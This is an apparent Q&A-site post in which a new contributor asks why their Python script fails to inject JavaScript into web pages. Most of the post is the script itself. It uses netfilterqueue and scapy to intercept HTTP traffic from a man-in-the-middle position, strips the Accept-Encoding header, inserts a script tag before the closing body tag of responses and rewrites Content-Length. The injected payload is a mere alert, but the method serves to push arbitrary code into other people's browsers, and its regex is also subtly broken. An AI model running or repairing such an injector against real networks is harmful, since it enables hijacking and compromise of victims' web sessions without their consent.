The code is supposed to print javascript alert “test” on the website that i enter to it.. but it doesn’t this command.. i don’t know why!? and this is the code ????????????????
#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy
import re
def set_load(packet, load):
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
def process_packet(packet):
scapy_packet= scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.Raw):
load= scapy_packet[scapy.Raw].load
if scapy_packet[scapy.TCP].dport == 80:
print("[+] Request")
load= re.sub("Accept-Encoding:.*?\r\n", "", load)
elif scapy_packet[scapy.TCP].sport == 80:
print("[+] Response")
# print(scapy_packet.show())
inject_code = "<script>alert('test');</script>"
load = load.replace("</body>", inject_code + "</body>")
Content_Length_Search= re.search("(?:Content-Length:s)(d*)", load)
if Content_Length_Search and "text/html" in load:
Content_Length= Content_Length_Search.group(1)
new_content_length = int(Content_Length) + len(inject_code)
load= load.replace(Content_Length, str(new_content_length))
# print(Content_Length)
if load!= scapy_packet[scapy.Raw].load:
new_packet = set_load(scapy_packet, load)
packet.set_payload(str(new_packet))
packet.accept()
queue= netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
New contributor
Ahmed yacine Ben mounir is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.